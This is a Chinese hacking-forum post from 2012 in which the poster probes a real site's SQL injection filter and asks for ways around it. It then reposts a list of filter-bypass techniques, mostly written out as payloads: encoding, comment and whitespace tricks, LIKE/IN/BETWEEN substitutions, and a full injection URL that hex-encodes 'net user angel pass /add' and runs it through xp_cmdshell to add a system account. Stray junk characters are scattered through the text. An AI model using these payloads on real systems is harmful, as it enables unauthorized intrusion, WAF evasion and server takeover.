找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2231|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.7 ]- h# A( p: e
http://www.xxx.cn/Article.asp?ID=117 and 1=1' a9 B; Q2 l+ D, w/ M
直接返回主页
" b1 b4 H0 \2 G/ [4 Ehttp://www.xxx.cn/Article.asp?ID=117 or 1=17 B1 i/ q/ P5 C0 M) F6 h
直接返回主页
/ s2 `4 @7 y* V4 _, u( l& g9 ~http://www.xxx.cn/Article.asp?ID=117 or
& z' a9 L+ i# z: M+ Q& q: s没有返回主页 没有过滤or
7 {  d! C0 }8 [) _4 `" nhttp://www.xxx.cn/Article.asp?ID=117 and
( J# o5 e6 Q  g; `! u6 j: `直接返回主页 看来过滤了and
/ C8 \  `& k9 b$ c0 jhttp://www.xxx.cn/Article.asp?ID=117 or 1- i8 ]- U/ ]% y" z6 c: p
没有返回主页 即没有过滤or 也没有过滤16 E# c; K$ X. A# y3 _4 W3 `
http://www.xxx.cn/Article.asp?ID=117 or 1=1. \% f/ @' c3 m  d- O
直接返回主页 很明显过滤了等号
4 J7 H( ~6 N: \. Q0 |or的特性是与and相反的.5 b. x$ t, @3 v6 A3 t/ {; W+ F
or 1=1 爆错 或与原页面不同. T4 |, Y9 h; D7 m  P9 X
or 1=2 原页面相同$ B( [  M  M& E$ S& {
这样就是一个注入点
* L+ s2 j2 s. T# n4 @但他过滤了=号 我就用><号代替=号吧!
! i. f" N9 N" Q0 U) Vor 1<2 很明显是正确的,所以应该与原页面不同
/ {3 x" h, a. N: U( O/ s* _or 1>2 很明显是错误的,所以应该与原页面相同
. Z- U+ l# Y5 ^5 @" |然后看看有没有过滤其他的查询语句,比如select.
9 Q4 g' z5 P0 ~: s9 z7 h' K) ehttp://www.xxx.cn/Article.asp?ID=117 select
: U# y  y# d2 n3 z. W. Y, ?$ ~% U直接返回主页- w1 }) A) g0 ?6 \; n, f  U) `
又迷茫了..( V$ X1 j4 L% m$ ?% H( w& u
0 u' H) G* [# J% X5 E5 X1 o
" A, c' Y3 l% E2 y5 `
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
% D2 j0 t" n* s% _) q这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)$ Z- R& Q' }( m2 B  T  M: m9 I5 p
================================================
! d% Z# v1 a4 n! L& `) Q% h: @以下是转贴:4 }) K8 p! B" b9 v  w) z4 e
6 ~# {2 k+ d# L0 a. \3 ?
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
' Y) X8 n8 `/ c: e经过我的收集,大部分的防注入程序都过滤了以下关键字: 1 D: D+ `6 z4 I) R: `6 u6 U
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
2 q" I$ K: {- v- o而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
$ V1 T5 A" f, i+ Z. Q9 \% d对于关键字的过滤,以下是我收集的以及我个人的一些想法。
) L3 K* D; U: A# U! S* a1、运用编码技术绕过
  P; {. W( j, ]: x8 v3 i如URLEncode编码,ASCII编码绕过。例如or 1=1即
4 f% c! x! u% C6 @) [# C5 v; P# Q%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 $ o) }$ A, w4 o# a% Z( g, e
; G9 @8 h( B, r) k# o; g; [
2、通过空格绕过 # S: w& u: f& X2 q
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
6 O$ g$ G! N7 x9 n2 I# lor’ swords’ =‘swords’
; E! m+ p0 l% i5 J' \4 K1 k4 h,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 + i! h  y" V0 _
3、运用字符串判断代替
* H$ n1 |2 \6 {+ v用经典的or 1=1判断绕过,如 + _  E# d; w; n- x! W! |6 t: |" A
or ’swords’ =’swords’
4 ?; ?2 a  E  l% y) D5 P9 w,这个方法就是网上在讨论的。 ) {1 ?" H! ~5 ]/ K
4、通过类型转换修饰符N绕过 6 z. u7 X/ _, b$ p8 S/ W0 \7 S
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 ( X2 A* w( x. f0 U" h8 u  y' t+ w/ N
5、通过+号拆解字符串绕过
- `" B9 x, Q( e" B+ ]# e7 l* f) c效果值得考证,但毕竟是一种方法。如 % n& f6 D" |* k1 O  J4 b) R
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 9 T2 B1 y7 f5 c! B, K6 k, O! N& b

! a$ P9 K/ _1 w4 @, B" ^# ]6、通过LIKE绕过 " ]! U& e, O# t( z3 b
以前怎么就没想到呢?如or 3 R5 O/ D6 C' E  a% b& `
’swords’ LIKE ’sw’
' q/ b7 D3 c; ]' r$ f!!!显然可以很轻松的绕过
5 g8 }% A3 v( q; V( {“=”“>” # z* S. L3 f0 U2 G/ ?$ A/ N
的限制…… - K7 A+ Q; Y1 X7 C9 }" W1 n! D
7、通过IN绕过 2 Z) G% E* _7 ]
与上面的LIKE的思路差不多,如 , o# d+ @! L" {
or ’swords’ IN (’swords’) ( \. ?( l2 H* }% q

3 t0 O! E; p$ H% T: y7 p8、通过BETWEEN绕过
4 T6 u) f- u, f8 E/ _1 r
/ y. m8 P* m: ~0 `or ’swords’ BETWEEN ’rw’ AND ’tw’
1 l9 o/ }: w4 u! C2 P0 I. ^" }, F4 T* K; l' M
9、通过>或者<绕过
6 w+ p( G! I; \or ’swords’ > ’sw’
3 r- K7 P3 F: r# s' v& t  M/ ?& Yor ’swords’ < ’tw’ , Y. \$ c9 o# _
or 1<3
4 G4 M2 c( W& e% t) ~' H……
' o! @& f3 G' n3 c; x" ^% T10、运用注释语句绕过
* B: N) j+ r& `* ?) [; b用/**/代替空格,如:
  ^$ V+ c9 j# H/ yUNION /**/ Select /**/user,pwd,from tbluser
: g' `; {. x0 s) x; t! i, }" @/ R% w: R! K8 B: G
用/**/分割敏感词,如:
6 V! g8 J+ c# [: M3 I2 AU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser * Z/ l8 i+ D' b& \- L: B
: U% o/ T1 Q2 _$ `* a. p
11、用HEX绕过,一般的IDS都无法检测出来 + ~# [2 k# i9 T' Q  l
0x730079007300610064006D0069006E00 =hex(sysadmin) - m( d/ D  L, B. S7 ~3 W+ t: n# _) S2 C. I& `
0x640062005F006F0077006E0065007200 =hex(db_owner)   r& r* t/ s' M' f9 a8 E; ~
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
. x9 k% ~4 A6 P+ Q* o% |  declare @a sysname $ O$ {, S  Q% H5 V/ t6 m  r
  select @a=
. |+ Z1 K" i8 g# b4 r& A5 u: E: a1 N8 B: X  exec master.dbo.xp_cmdshell @a
$ r* T( s9 X/ g: P3 I$ k效果 & f4 V+ p: l' w0 C7 B2 Y. I$ W2 O
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- ' q$ c0 D: \% {
  H9 c# B8 n( U7 N
其中的 ; o  J" K) u( B( {( O: _
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
3 j  U' V, w: \  a: ~就是 * t; ^  Q+ w" @9 M/ S8 p
“net user angel pass /add”
2 F+ L% _9 h' Y1 A" k, C. l& k
9 x$ D# ]. j6 H# K+ D" N: C一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。7 S. ?- j0 C) n  C2 I9 G
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
7 U3 V+ A& H) h$ v另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
' e5 z% Z4 }+ kCopy code6 ~1 v! d' W. E, F
select * from table exec xp_cmdshell'xxxxxxxxxx'0 _& D  o% p/ u; ~

' T7 S( q! l+ Y, a/ L4 b
$ E4 J9 ~5 w. E: c! S7 c7 d* F: Yselect * from table/**/exec xp_cmdshell'xxxxxxxxxx', |; P- J/ j( @+ K+ m# _/ {

4 @; k9 Z* t# m& R! y2 S1 T( z  I
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'! P* N: l, B& _9 Q9 ]

! W# Y/ |: O( B9 a  v
9 E( V# v. ^4 K* z7 Oselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'4 I; U6 `; H6 j2 L" l$ u. G
( k+ `/ E+ N0 L. w: X* ]
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
- a  x8 e( Q! J( E$ n  F
  j" ~7 Y  f5 k2 U* x6 T0 k这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了+ K1 ?7 z6 ~( A3 g, y
可能大家早就知道了,不管怎么说,发在这里吧!+ E- P6 a" f$ {5 o& e7 j5 \
: S  S1 ]0 ]& \
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。% E9 U& n% B+ J
& M( J. i# X. j  R9 }3 a, g  u

6 }- o: f7 F: F) l( B- [7 x+ p9 W0 e5 v, j
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
9 f) v/ S1 r) J2 v9 v/ m& W# S% A比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
. f. v3 }& l4 p- N7 E1 P+ b9 y! U
' h6 X' Z$ `6 j; s5 r% ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表